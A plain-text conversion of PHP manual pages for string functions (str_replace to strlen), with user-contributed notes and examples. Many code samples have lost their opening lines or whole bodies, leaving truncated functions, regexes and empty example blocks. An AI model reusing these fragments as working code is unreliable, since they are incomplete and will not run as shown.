ml> Malicious code html> etc";
$string=str_replace(array("",""),"",$string);
// Output: " Malicious code etc"
up
down
13 jay_knows_(all)uk at hotmail dot com ¶6 years ago
This strips out horrible MS word characters.
Just keep fine tuning it until you get what you need, you'll see ive commented some out which caused problems for me.
There could be some that need adding in, but its a start to anyone who wishes to make their own custom function.
>
', $str); // right single guillemet
// $str = str_replace(chr(156), 'oe', $str); // oe ligature
$str = str_replace(chr(159), 'Y', $str); // Y Dieresis
$str = str_replace('°C', '°C', $str); // Celcius is used quite a lot so it makes sense to add this in
$str = str_replace('£', '£', $str);
$str = str_replace("'", "'", $str);
$str = str_replace('"', '"', $str);
$str = str_replace('–', '–', $str);
return $str;
}
?>
<
8 pjcdawkins at googlemail dot com ¶6 years ago~
Here's a deep replace function allowing multi-dimensional arrays in
$search, $replace and $subject. The keys and other structure of
$subject are preserved.
>
<
--------------------------------------------------------------------------------
*str_rot13*
+-----------+~
| str_rot13 |~
+-----------+~
(PHP 4 >= 4.2.0, PHP 5, PHP 7)
str_rot13 — Perform the rot13 transform on a string
Description~
>
string str_rot13 ( string $str )
<
Performs the ROT13 encoding on the str argument and returns the
resulting string.
The ROT13 encoding simply shifts every letter by 13 places in the
alphabet while leaving non-alpha characters untouched. Encoding and
decoding are done by the same function, passing an encoded string as
argument will return the original version.
Parameters~
str
-----
The input string.
Return Values~
Returns the ROT13 version of the given string.
Examples~
Example #1 str_rot13() example
>
<
User Contributed Notes 10 notes
17 shaun ¶5 years ago~
I was reminded again of the desire for a generic str_rot function.
Character manipulation loops in PHP are slow compared to their C
counterparts, so here's a tuned version of the previous function I
posted. It's 1.6 times as fast, mainly by avoiding chr() calls.
>
= 'a' && $c <= 'z') {
$s[$i] = $letters[(ord($c) - 71 + $n) % 26];
} else if ($c >= 'A' && $c <= 'Z') {
$s[$i] = $letters[(ord($c) - 39 + $n) % 26 + 26];
}
}
return $s;
}
?>
<
But using strtr() you can get something 10 times as fast as the above :
>
<
This technique is faster because PHP's strtr is implemented in C using
a byte lookup table (it has O(m + n) complexity). However, PHP 6 will
use Unicode, so I guess(?) strtr will then have to be implemented with
a search for each character (O(m * n)). Using strtr might still be
faster since it offloads the character manipulation to C rather than
PHP, but I don't really know. Take your pick.
Happy coding!
(Benchmark code):
>
<
6 peter at NOSPAM jamit dot com ¶7 years ago~
This ROT13 variant is different from my earlier version in that it
retains 'ethnicity'. For example, a Chinese text when encrypted will
remain Chinese, and the string will not be making sense (the real
meaning will be encrypted). Just look at the code and you will
understand.
>
0; ) {
$array[] = mb_substr($string, 0, 1, $encoding);
$string = mb_substr($string, 1, $strlen, $encoding);
$strlen = $strlen - 1;
}
return $array;
}
function unicodeRotN($str, $offset, $encoding = 'UTF-8') {
$val = '';
$array = mbStringToArray ($str, $encoding = 'UTF-8');
$len = count($array);
for ($i = 0; $i < $len; $i++) {
$val .= ords2unichar(unichar2ords($array[$i], $encoding) + $offset, $encoding);
}
return $val;
}
// example
$original = '??????'; // means "China is my home"
$encrypted = unicodeRotN($string, 13); // ?????? means "Ñ Ai injustice for the Mission Day" (Google translation)
$decrypted = unicodeRotN($encrypted, -13); // ??????
?>
<
--------------------------------------------------------------------------------
*str_shuffle*
+-------------+~
| str_shuffle |~
+-------------+~
(PHP 4 >= 4.3.0, PHP 5, PHP 7)
str_shuffle — Randomly shuffles a string
Description~
>
string str_shuffle ( string $str )
<
str_shuffle() shuffles a string. One permutation of all possible is
created.
Caution
This function does not generate cryptographically secure values, and
should not be used for cryptographic purposes. If you need a
cryptographically secure value, consider using random_int(),
random_bytes(), or openssl_random_pseudo_bytes() instead.
Parameters~
str
-----
The input string.
Return Values~
Returns the shuffled string.
Changelog
Version Description
7.1.0 The internal randomization algorithm has been changed to use
the » Mersenne Twister Random Number Generator instead of the libc
rand function.
Examples~
Example #1 str_shuffle() example
>
<
See Also~
|shuffle|() - Shuffle an array
|rand|() - Generate a random integer
31 jojersztajner at OXYGEN dot POLAND ¶9 years ago~
Aoccdrnig to rseearch at an Elingsh uinervtisy, it deosn't mttaer in
waht oredr the ltteers in a wrod are, the olny iprmoatnt tihng is that
the frist and lsat ltteer is at the rghit pclae. The rset can be a
toatl mses and you can sitll raed it wouthit a porbelm. Tihs is
bcuseae we do not raed ervey lteter by it slef but the wrod as a
wlohe.
Hree's a cdoe taht slerbmcas txet in tihs way:
>
<
It may be ufseul if you wnat to cetare an aessblicce CTCPAHA.
--------------------------------------------------------------------------------
*str_split*
+-----------+~
| str_split |~
+-----------+~
(PHP 5, PHP 7)
str_split — Convert a string to an array
Description~
>
array str_split ( string $string [, int $split_length = 1 ] )
<
Converts a string to an array.
Parameters~
string
------
The input string.
split_length
------------
Maximum length of the chunk.
Return Values~
If the optional split_length parameter is specified, the returned
array will be broken down into chunks with each being split_length in
length, otherwise each chunk will be one character in length.
FALSE is returned if split_length is less than 1. If the split_length
length exceeds the length of string, the entire string is returned as
the first (and only) array element.
Examples~
Example #1 Example uses of str_split()
>
<
The above example will output:
Array
(
[0] => H
[1] => e
[2] => l
[3] => l
[4] => o
[5] =>
[6] => F
[7] => r
[8] => i
[9] => e
[10] => n
[11] => d
)
Array
(
[0] => Hel
[1] => lo
[2] => Fri
[3] => end
)
Notes
Note:
str_split() will split into bytes, rather than characters when dealing
with a multi-byte encoded string.
See Also~
|chunk_split|() - Split a string into smaller chunks
|preg_split|() - Split string by a regular expression
|explode|() - Split a string by string
|count_chars|() - Return information about characters used in a string
|str_word_count|() - Return information about words used in a string
for
User Contributed Notes 38 notes
71 qeremy [atta] gmail [dotta] com ¶5 years ago~
A proper unicode string split;
>
0) {
$ret = array();
$len = mb_strlen($str, "UTF-8");
for ($i = 0; $i < $len; $i += $l) {
$ret[] = mb_substr($str, $i, $l, "UTF-8");
}
return $ret;
}
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
?>
<
$s = "Ilik süt"; // Mild milk
print_r(str_split($s, 3));
print_r(str_split_unicode($s, 3));
Array
(
[0] => Il?
[1] => ?k
[2] => sü
[3] => t
)
Array
(
[0] => Ili
[1] => k s
[2] => üt
)
--------------------------------------------------------------------------------
*str_word_count*
+----------------+~
| str_word_count |~
+----------------+~
(PHP 4 >= 4.3.0, PHP 5, PHP 7)
str_word_count — Return information about words used in a string
Description~
>
mixed str_word_count ( string $string [, int $format = 0 [, string $charlist ]] )
<
Counts the number of words inside string. If the optional format is
not specified, then the return value will be an integer representing
the number of words found. In the event the format is specified, the
return value will be an array, content of which is dependent on the
format. The possible value for the format and the resultant outputs
are listed below.
For the purpose of this function, 'word' is defined as a locale
dependent string containing alphabetic characters, which also may
contain, but not start with "'" and "-" characters.
Parameters~
string
------
The string
format
------
Specify the return value of this function. The current supported
values are:
0 - returns the number of words found
1 - returns an array containing all the words found inside the string
2 - returns an associative array, where the key is the numeric
position of the word inside the string and the value is the actual
word itself charlist
A list of additional characters which will be considered as 'word'
Return Values~
Returns an array or an integer, depending on the format chosen.
Changelog~
Version Description
5.1.0 Added the charlist parameter
Examples~
Example #1 A str_word_count() example
>
<
The above example will output:
Array
(
[0] => Hello
[1] => fri
[2] => nd
[3] => you're
[4] => looking
[5] => good
[6] => today
)
Array
(
[0] => Hello
[6] => fri
[10] => nd
[14] => you're
[29] => looking
[46] => good
[51] => today
)
Array
(
[0] => Hello
[1] => fri3nd
[2] => you're
[3] => looking
[4] => good
[5] => today
)
7
See Also~
|explode|() - Split a string by string
|preg_split|() - Split string by a regular expression
|split|() - Split string into array by regular expression
|count_chars|() - Return information about characters used in a string
|substr_count|() - Count the number of substring occurrences
User Contributed Notes 29 notes
19 cito at wikatu dot com ¶5 years ago~
>
<
9 splogamurugan at gmail dot com ¶8 years ago~
We can also specify a range of values for charlist.
>
<
will give the result as
Array ( [0] => Hello [1] => fri3nd [2] => you're [3] => looking [4] =>
good [5] => today [6] => look123 [7] => ing )
--------------------------------------------------------------------------------
*strcasecmp*
+------------+~
| strcasecmp |~
+------------+~
(PHP 4, PHP 5, PHP 7)
strcasecmp — Binary safe case-insensitive string comparison
Description~
>
int strcasecmp ( string $str1 , string $str2 )
<
Binary safe case-insensitive string comparison.
Parameters~
str1
-----
The first string
str2
-----
The second string
Return Values~
Returns < 0 if str1 is less than str2; > 0 if str1 is greater than
str2, and 0 if they are equal.
Examples~
Example #1 strcasecmp() example
>
<
See Also~
|strcmp|() - Binary safe string comparison
|preg_match|() - Perform a regular expression match
|substr_compare|() - Binary safe comparison of two strings from an offset, up to length characters
|strncasecmp|() - Binary safe case-insensitive string comparison of the first n characters
|stristr|() - Case-insensitive strstr
|substr|() - Return part of a string
User Contributed Notes 3 notes
11 chris at cmbuckley dot co dot uk ¶5 years ago~
A simple multibyte-safe case-insensitive string comparison:
>
<
Caveat: watch out for edge cases like "ß".
10 Anonymous ¶14 years ago~
The sample above is only true on some platforms that only use a simple
'C' locale, where individual bytes are considered as complete
characters that are converted to lowercase before being
differentiated.
Other locales (see LC_COLLATE and LC_ALL) use the difference of
collation order of characters, where characters may be groups of bytes
taken from the input strings, or simply return -1, 0, or 1 as the
collation order is not simply defined by comparing individual
characters but by more complex rules.
Don't base your code on a specific non null value returned by strcmp()
or strcasecmp(): it is not portable. Just consider the sign of the
result and be sure to use the correct locale!
8 alvaro at demogracia dot com ¶6 years ago~
Don't forget this is a single-byte function: in Unicode strings it'll
provide incoherent results as soon as both strings differ only in
case. There doesn't seem to exist a built-in multi-byte alternative so
you need to write your own, taking into account both character
encoding and collation.
--------------------------------------------------------------------------------
*strchr*
+--------+~
| strchr |~
+--------+~
(PHP 4, PHP 5, PHP 7)
strchr — Alias of strstr()
Description~
This function is an alias of: strstr().
User Contributed Notes 2 notes
6 webmaster at lyndonstate dot edu ¶13 years ago~
Alternative Way:
To get all the text before the first occurence.
-----------------------------------------------
INCLUDING A NEEDLE:
$string1 = "I need cookies & soda.";
$needle = "cookies";
//find length of the needle
$needle_len = strlen($needle);
//find postion
$position_num = strpos($string1,$needle) + $needle_len;
//cut the string
$result_string = substr("$string1",0,$position_num);
//display it
echo"$result_string"; // I need cookies
-----------------------------------------------
SHORTER VERSION:
$result_string = substr("$string1",0,strpos($string1,$needle)+strlen($needle));
echo"$result_string";//I need cookies
-----------------------------------------------
EXCLUDING THE NEEDLE:
$result_string = substr("$string1",0,strpos($string1,$needle));
echo"$result_string";// I need
-----------------------------------------------
FREE EMAIL JUNK?
This is probably useful for processing emails.
For example, someone sends email to your server from Yahoo account.
Free email always comes with wasted stuff like...
"Do you Yahoo!? The New Yahoo! Shopping - with improved product search ".
We can delete the phrase like this:
$needle="Do you Yahoo!?";
$result_string = substr("$emailstring",0,strpos($emailstring, $needle));
--------------------------------------------------------------------------------
*strcmp*
+--------+~
| strcmp |~
+--------+~
(PHP 4, PHP 5, PHP 7)
strcmp — Binary safe string comparison
Description~
>
int strcmp ( string $str1 , string $str2 )
<
Note that this comparison is case sensitive.
Parameters~
str1
-----
The first string.
str2
-----
The second string.
Return Values~
Returns < 0 if str1 is less than str2; > 0 if str1 is greater than
str2, and 0 if they are equal.
Examples~
Example #1 strcmp() example
>
<
See Also~
|strcasecmp|() - Binary safe case-insensitive string comparison
|preg_match|() - Perform a regular expression match
|substr_compare|() - Binary safe comparison of two strings from an offset, up to length characters
|strncmp|() - Binary safe string comparison of the first n characters
|strstr|() - Find the first occurrence of a string
|substr|() - Return part of a string
User Contributed Notes 23 notes
43 jendoj at gmail dot com ¶4 years ago~
If you rely on strcmp for safe string comparisons, both parameters
must be strings, the result is otherwise extremely unpredictable. For
instance you may get an unexpected 0, or return values of NULL, -2, 2,
3 and -3.
strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp(61529519452809720693702583126814, 61529519452809720000000000000000) => 0
strcmp(NULL, false) => 0
strcmp(NULL, "") => 0
strcmp(NULL, 0) => -1
strcmp(false, -1) => -2
strcmp("15", NULL) => 2
strcmp(NULL, "foo") => -3
strcmp("foo", NULL) => 3
strcmp("foo", false) => 3
strcmp("foo", 0) => 1
strcmp("foo", 5) => 1
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
22 Rob Wiesler ¶7 years ago~
One big caveat - strings retrieved from the backtick operation may be
zero terminated (C-style), and therefore will not be equal to the
non-zero terminated strings (roughly Pascal-style) normal in PHP. The
workaround is to surround every `` pair or shell_exec() function with
the trim() function. This is likely to be an issue with other
functions that invoke shells; I haven't bothered to check.
On Debian Lenny (and RHEL 5, with minor differences), I get this:
====PHP====
>
sz = ".$sz." str_split(sz) = "; print_r(str_split($sz));
echo " ";
echo "Pascal-style string: ps = ".$ps." str_split(ps) = "; print_r(str_split($ps));
echo " ";
echo "Normal results of comparison: ";
echo "sz == ps = ".($sz == $ps ? "true" : "false")." ";
echo "strcmp(sz,ps) = ".strcmp($sz,$ps);
echo " ";
echo "Comparison with trim()'d zero-terminated string: ";
echo "trim(sz) = ".trim($sz)." ";
echo "str_split(trim(sz)) = "; print_r(str_split(trim($sz))); echo " ";
echo "trim(sz) == ps = ".(trim($sz) == $ps ? "true" : "false")." ";
echo "strcmp(trim(sz),ps) = ".strcmp(trim($sz),$ps);
?>
<
====Output====
Zero-terminated string:
sz = /var/www
str_split(sz) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w [8] => )
Pascal-style string:
ps = /var/www
str_split(ps) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )
Normal results of comparison:
sz == ps = false
strcmp(sz,ps) = 1
Comparison with trim()'d zero-terminated string:
trim(sz) = /var/www
str_split(trim(sz)) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )
trim(sz) == ps = true
strcmp(trim(sz),ps) = 0
22 lehal2 at hotmail dot com ¶4 years ago~
i hope this will give you a clear idea how strcmp works internally.
>
";
$str2 = "t";
echo ord($str2); //116
echo " ";
echo ord($str1)-ord($str2);//-18
$str1 = "bear";
$str2 = "tear";
$str3 = "";
echo "";
echo strcmp($str1, $str2); // -18
echo " ";
echo strcmp($str2, $str1); //18
echo " ";
echo strcmp($str2, $str2); //0
echo " ";
echo strcmp($str2, $str3); //4
echo " ";
echo strcmp($str3, $str2); //-4
echo " ";
echo strcmp($str3, $str3); // 0
echo " ";
?>
<
10 frewuill at merlin-corp dot com ¶17 years ago~
Hey be sure the string you are comparing has not special characters
like '\n' or something like that.
7 hm2k at php dot net ¶6 years ago~
Don't forget the similar_text() function...
http://php.net/manual/en/function.similar-text.php
6 hrodicus at gmail dot com ¶6 years ago~
Note a difference between 5.2 and 5.3 versions
echo (int)strcmp('pending',array());
will output -1 in PHP 5.2.16 (probably in all versions prior 5.3)
but will output 0 in PHP 5.3.3
Of course, you never need to use array as a parameter in string comparisions.
--------------------------------------------------------------------------------
*strcoll*
+---------+~
| strcoll |~
+---------+~
(PHP 4 >= 4.0.5, PHP 5, PHP 7)
strcoll — Locale based string comparison
Description~
>
int strcoll ( string $str1 , string $str2 )
<
Note that this comparison is case sensitive, and unlike strcmp() this
function is not binary safe.
strcoll() uses the current locale for doing the comparisons. If the
current locale is C or POSIX, this function is equivalent to strcmp().
Parameters~
str1
-----
The first string.
str2
-----
The second string.
Return Values~
Returns < 0 if str1 is less than str2; > 0 if str1 is greater than
str2, and 0 if they are equal.
Changelog~
Version Description
4.2.3 This function now works on win32.
See Also~
|preg_match|() - Perform a regular expression match
|strcmp|() - Binary safe string comparison
|strcasecmp|() - Binary safe case-insensitive string comparison
|substr|() - Return part of a string
|stristr|() - Case-insensitive strstr
|strncasecmp|() - Binary safe case-insensitive string comparison of the first n characters
|strncmp|() - Binary safe string comparison of the first n characters
|strstr|() - Find the first occurrence of a string
|setlocale|() - Set locale information
--------------------------------------------------------------------------------
*strcspn*
+---------+~
| strcspn |~
+---------+~
(PHP 4, PHP 5, PHP 7)
strcspn — Find length of initial segment not matching mask
Description~
>
int strcspn ( string $subject , string $mask [, int $start [, int $length ]] )
<
Returns the length of the initial segment of subject which does not
contain any of the characters in mask.
If start and length are omitted, then all of subject will be examined.
If they are included, then the effect will be the same as calling
strcspn(substr($subject, $start, $length), $mask) (see substr for more
information).
Parameters~
subject
-------
The string to examine.
mask
-----
The string containing every disallowed character.
start
-----
The position in subject to start searching.
If start is given and is non-negative, then strcspn() will begin
examining subject at the start'th position. For instance, in the
string 'abcdef', the character at position 0 is 'a', the character at
position 2 is 'c', and so forth.
If start is given and is negative, then strcspn() will begin examining
subject at the start'th position from the end of subject.
length
------
The length of the segment from subject to examine.
If length is given and is non-negative, then subject will be examined
for length characters after the starting position.
If length is given and is negative, then subject will be examined from
the starting position up to length characters from the end of subject.
Return Values
Returns the length of the initial segment of subject which consists
entirely of characters not in mask.
Note:
When a start parameter is set, the returned length is counted starting
from this position, not from the beginning of subject.
Examples~
Example #1 strcspn() example
>
<
The above example will output:
int(0)
int(0)
int(2)
int(2)
int(5)
int(4)
Notes
Note: This function is binary-safe.
See Also~
|strspn|() - Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.
--------------------------------------------------------------------------------
*strip_tags*
+------------+~
| strip_tags |~
+------------+~
(PHP 4, PHP 5, PHP 7)
strip_tags — Strip HTML and PHP tags from a string
Description~
>
string strip_tags ( string $str [, string $allowable_tags ] )
<
This function tries to return a string with all NULL bytes, HTML and
PHP tags stripped from a given str. It uses the same tag stripping
state machine as the fgetss() function.
Parameters~
str
-----
The input string.
allowable_tags
--------------
You can use the optional second parameter to specify tags which should
not be stripped.
Note:
HTML comments and PHP tags are also stripped. This is hardcoded and
can not be changed with allowable_tags.
Note:
In PHP 5.3.4 and later, self-closing XHTML tags are ignored and only
non-self-closing tags should be used in allowable_tags. For example,
to allow both and , you should use:
>
');
?>
<
Return Values~
Returns the stripped string.
Changelog~
Version Description
5.3.4 strip_tags() ignores self-closing XHTML tags in allowable_tags.
5.0.0 strip_tags() is now binary safe.
Examples~
Example #1 strip_tags() example
>
Test paragraph. Other text ';
echo strip_tags($text);
echo "\n";
// Allow and
echo strip_tags($text, '');
?>
<
The above example will output:
Test paragraph. Other text
Test paragraph.
Other text
Notes~
Warning
Because strip_tags() does not actually validate the HTML, partial or
broken tags can result in the removal of more text/data than expected.
Warning
This function does not modify any attributes on the tags that you
allow using allowable_tags, including the style and onmouseover
attributes that a mischievous user may abuse when posting text that
will be shown to other users.
Note:
Tag names within the input HTML that are greater than 1023 bytes in
length will be treated as though they are invalid, regardless of the
allowable_tags parameter.
See Also~
|htmlspecialchars|() - Convert special characters to HTML entities
User Contributed Notes 13 notes
100 mariusz.tarnaski at wp dot pl ¶8 years ago~
Hi. I made a function that removes the HTML tags along with their contents:
Function:
>
/si', trim($tags), $tags);
$tags = array_unique($tags[1]);
if(is_array($tags) AND count($tags) > 0) {
if($invert == FALSE) {
return preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?\1>@si', '', $text);
}
else {
return preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?\1>@si', '', $text);
}
}
elseif($invert == FALSE) {
return preg_replace('@<(\w+)\b.*?>.*?\1>@si', '', $text);
}
return $text;
}
?>
<
Sample text:
$text = 'sample text with
tags
';
Result for strip_tags($text):
sample text with tags
Result for strip_tags_content($text):
text with
Result for strip_tags_content($text, ''):
sample text with
Result for strip_tags_content($text, '', TRUE);
text with tags
I hope that someone is useful :)
43 CEO at CarPool2Camp dot org ¶8 years ago~
Note the different outputs from different versions of the same tag:
>
Each New Line';
$new = strip_tags($data, ' ');
var_dump($new); // OUTPUTS string(21) " EachNew Line"
Each New Line';
$new = strip_tags($data, ' ');
var_dump($new); // OUTPUTS string(16) "Each NewLine"
Each New Line';
$new = strip_tags($data, ' ');
var_dump($new); // OUTPUTS string(11) "EachNewLine"
?>
<
11 Trititaty ¶1 year ago~
Features:
* allowable tags (as in strip_tags),
* optional stripping attributes of the allowable tags,
* optional comment preserving,
* deleting broken and unclosed tags and comments,
* optional callback function call for every piece processed allowing for flexible replacements.
>
|^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // get tag names
function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // filter broken
) );
$comments_and_stuff = preg_split( '/(|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE );
foreach ( $comments_and_stuff as $i => $comment_or_stuff ) {
if ( $i % 2 ) { // html comment
if ( !( $preserve_comments && preg_match( '//', $comment_or_stuff ) ) ) {
$comments_and_stuff[$i] = '';
}
} else { // stuff between comments
$tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE );
foreach ( $tags_and_text as $j => $tag_or_text ) {
$is_broken = false;
$is_allowable = true;
$result = $tag_or_text;
if ( $j % 2 ) { // tag
if ( preg_match( "%^(?)([a-z][a-z0-9_]*)\\b(?:[^>\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) {
$tag = strtolower( $matches[2] );
if ( in_array( $tag, $allowable_tags ) ) {
if ( $strip_attrs ) {
$opening = $matches[1];
$closing = ( $opening === '' ) ? '>' : $closing;
$result = $opening . $tag . $closing;
}
} else {
$is_allowable = false;
$result = '';
}
} else {
$is_broken = true;
$result = '';
}
} else { // text
$tag = false;
}
if ( !$is_broken && isset( $callback ) ) {
// allow result modification
call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) );
}
$tags_and_text[$j] = $result;
}
$comments_and_stuff[$i] = implode( '', $tags_and_text );
}
}
$str = implode( '', $comments_and_stuff );
return $str;
}
?>
<
Callback arguments:
* &$result: contains text to be placed insted of original piece (e.g. empty string for forbidden tags), it can be changed;
* $tag_or_text: original piece of text or a tag (see below);
* $tag: false for text between tags, lowercase tag name for tags;
* $is_allowable: boolean telling if a tag isn't allowed (to avoid double checking), always true for text between tags
*
Callback function isn't called for comments and broken tags.
Caution: the function doesn't fully validate tags (the more so HTML
itself), it just force strips those obviously broken (in addition to
stripping forbidden tags). If you want to get valid tags then use
strip_attrs option, though it doesn't guarantee tags are balanced or
used in the appropriate context. For complex logic consider using DOM
parser.
9 doug at exploittheweb dot com ¶1 year ago "5.3.4 strip_tags() no
longer strips self-closing XHTML tags unless the self-closing XHTML
tag is also given in allowable_tags."
This is poorly worded.
The above seems to be saying that, since 5.3.4, if you don't specify
" " in allowable_tags then " " will not be stripped... but
that's not actually what they're trying to say.
What it means is, in versions prior to 5.3.4, it "strips self-closing
XHTML tags unless the self-closing XHTML tag is also given in
allowable_tags", and that since 5.3.4 this is no longer the case.
So what reads as "no longer strips self-closing tags (unless the
self-closing XHTML tag is also given in allowable_tags)" is actually
saying "no longer (strips self-closing tags unless the self-closing
XHTML tag is also given in allowable_tags)".
i.e.
pre-5.3.4: strip_tags('Hello World ',' ') => 'Hello
World ' // strips because it wasn't explicitly specified in
allowable_tags
5.3.4 and later: strip_tags('Hello World ',' ') => 'Hello
World ' // does not strip because PHP matches it with
in allowable_tags
21 bzplan at web dot de ¶4 years ago~
a HTML code like this:
>
color is blue
size is huge
material is wood
';
?>
<
with
... the result is:
$str = 'color is bluesize is huge
material is wood';
notice: the words 'blue' and 'size' grow together :(
and line-breaks are still in new string $str
if you need a space between the words (and without line-break)
use my function:
... the result is:
$str = 'color is blue size is huge material is wood';
the function:
>
]*>/', ' ', $string);
// ----- remove control characters -----
$string = str_replace("\r", '', $string); // --- replace with empty space
$string = str_replace("\n", ' ', $string); // --- replace with space
$string = str_replace("\t", ' ', $string); // --- replace with space
// ----- remove multiple spaces -----
$string = trim(preg_replace('/ {2,}/', ' ', $string));
return $string;
}
// --------------------------------------------------------------
?>
<
the KEY is the regex pattern: '/<[^>]*>/'
instead of strip_tags()
... then remove control characters and multiple spaces
:)
--------------------------------------------------------------------------------
*stripcslashes*
+---------------+~
| stripcslashes |~
+---------------+~
(PHP 4, PHP 5, PHP 7)
stripcslashes — Un-quote string quoted with addcslashes()
Description~
>
string stripcslashes ( string $str )
<
Returns a string with backslashes stripped off. Recognizes C-like \n,
\r ..., octal and hexadecimal representation.
Parameters~
str
-----
The string to be unescaped.
Return Values~
Returns the unescaped string.
See Also~
|addcslashes|() - Quote string with slashes in a C style
--------------------------------------------------------------------------------
*stripos*
+---------+~
| stripos |~
+---------+~
(PHP 5, PHP 7)
stripos — Find the position of the first occurrence of a
case-insensitive substring in a string
Description~
>
mixed stripos ( string $haystack , string $needle [, int $offset = 0 ] )
<
Find the numeric position of the first occurrence of needle in the haystack string.
Unlike the strpos(), stripos() is case-insensitive.
Parameters~
haystack
--------
The string to search in.
needle
------
Note that the needle may be a string of one or more characters.
If needle is not a string, it is converted to an integer and applied
as the ordinal value of a character.
offset
------
If specified, search will start this number of characters counted from
the beginning of the string. If the offset is negative, the search
will start this number of characters counted from the end of the
string.
Return Values~
Returns the position of where the needle exists relative to the
beginnning of the haystack string (independent of offset). Also note
that string positions start at 0, and not 1.
Returns FALSE if the needle was not found.
Warning
This function may return Boolean FALSE, but may also return a
non-Boolean value which evaluates to FALSE. Please read the section on
Booleans for more information. Use the === operator for testing the
return value of this function.
Changelog~
Version Description
7.1.0 Support for negative offsets has been added.
Examples~
Example #1 stripos() examples
>
<
Notes
Note: This function is binary-safe.
See Also~
|mb_stripos|() - Finds position of first occurrence of a string within another, case insensitive
|strpos|() - Find the position of the first occurrence of a substring in a string
|strrpos|() - Find the position of the last occurrence of a substring in a string
|strripos|() - Find the position of the last occurrence of a case-insensitive substring in a string
|stristr|() - Case-insensitive strstr
|substr|() - Return part of a string
|str_ireplace|() - Case-insensitive version of str_replace.
User Contributed Notes 6 notes
21 emperorshishire at gmail dot com ¶8 years ago~
I found myself needing to find the first position of multiple needles
in one haystack. So I wrote this little function:
>
int(16)
["dog"]=>
int(40)
["."]=>
int(43)
["duck"]=>
bool(false)
}
*/
?>
<
7 spam at kleppinger dot com ¶2 years ago~
Regarding the function by spam at wikicms dot org
It is very bad practice to use the same function name as an existing
php function but have a different output format. Someone maintaining
the code in the future is likely to be very confused by this. It will
also be hard to eradicate from a codebase because the naming is
identical so each use of stripos() would have to be analyzed to see
how it is expecting the output format (bool or number/bool).
Calling it string_found() or something like that would make a lot more
sense for long-term use.
--------------------------------------------------------------------------------
*stripslashes*
+--------------+~
| stripslashes |~
+--------------+~
(PHP 4, PHP 5, PHP 7)
stripslashes — Un-quotes a quoted string
Description~
>
string stripslashes ( string $str )
<
Un-quotes a quoted string.
Note:
If magic_quotes_sybase is on, no backslashes are stripped off but two
apostrophes are replaced by one instead. An example use of
stripslashes() is when the PHP directive magic_quotes_gpc is on (it
was on by default before PHP 5.4), and you aren't inserting this data
into a place (such as a database) that requires escaping. For example,
if you're simply outputting data straight from an HTML form.
Parameters~
str
-----
The input string.
Return Values~
Returns a string with backslashes stripped off. (\' becomes ' and so
on.) Double backslashes (\\) are made into a single backslash (\).
Examples~
Example #1 A stripslashes() example
>
<
Note:
stripslashes() is not recursive. If you want to apply this function to
a multi-dimensional array, you need to use a recursive function.
Example #2 Using stripslashes() on an array
>
<
The above example will output:
Array
(
[0] => f'oo
[1] => b'ar
[2] => Array
(
[0] => fo'o
[1] => b'ar
)
)
See Also~
|addslashes|() - Quote string with slashes
|get_magic_quotes_gpc|() - Gets the current configuration setting of magic_quotes_gpc
User Contributed Notes 30 notes
47 ivijan dot stefan at gmail dot com ¶3 years ago~
Sometimes for some reason is happens that PHP or Javascript or some
naughty insert a lot of backslash. Ordinary function does not notice
that. Therefore, it is necessary that the bit "inflate":
>
<
RESULT: My dog don't like the postman!
This flick has served me wery well, because I had this problem before.
--------------------------------------------------------------------------------
*stristr*
+---------+~
| stristr |~
+---------+~
(PHP 4, PHP 5, PHP 7)
stristr — Case-insensitive strstr()
Description~
>
string stristr ( string $haystack , mixed $needle [, bool $before_needle = false ] )
<
Returns all of haystack starting from and including the first
occurrence of needle to the end.
Parameters~
haystack
--------
The string to search in
needle
------
If needle is not a string, it is converted to an integer and applied
as the ordinal value of a character.
before_needle
-------------
If TRUE, stristr() returns the part of the haystack before the first
occurrence of the needle (excluding needle).
needle and haystack are examined in a case-insensitive manner.
Return Values~
Returns the matched substring. If needle is not found, returns FALSE.
Changelog~
Version Description
5.3.0 Added the optional parameter before_needle.
4.3.0 stristr() was made binary safe.
Examples~
Example #1 stristr() example
>
<
Example #2 Testing if a string is found or not
>
<
Example #3 Using a non "string" needle
>
<
Notes
Note: This function is binary-safe.
See Also~
|strstr|() - Find the first occurrence of a string
|strrchr|() - Find the last occurrence of a character in a string
|stripos|() - Find the position of the first occurrence of a case-insensitive substring in a string
|strpbrk|() - Search a string for any of a set of characters
|preg_match|() - Perform a regular expression match
User Contributed Notes 8 notes
12 dpatton.at.confluence.org ¶14 years ago~
There was a change in PHP 4.2.3 that can cause a warning message to be
generated when using stristr(), even though no message was
generated in older versions of PHP.
The following will generate a warning message in 4.0.6 and 4.2.3:
stristr("haystack", "");
OR
$needle = ""; stristr("haystack", $needle);
This will _not_ generate an "Empty Delimiter" warning message in
4.0.6, but _will_ in 4.2.3:
unset($needle); stristr("haystack", $needle);
Here's a URL that documents what was changed:
http://groups.google.ca/groups?selm=cvshholzgra1031224321%40cvsserver
--------------------------------------------------------------------------------
*strlen*
+--------+~
| strlen |~
+--------+~
(PHP 4, PHP 5, PHP 7)
strlen — Get string length
Description~
>
int strlen ( string $string )
<
Returns the length of the given string.
Parameters~
string
------
The string being measured for length.
Return Values~
The length of the string on success, and 0 if the string is empty.
Changelog~
Version Description
5.3.0 Prior versions treated arrays as the string Array, thus
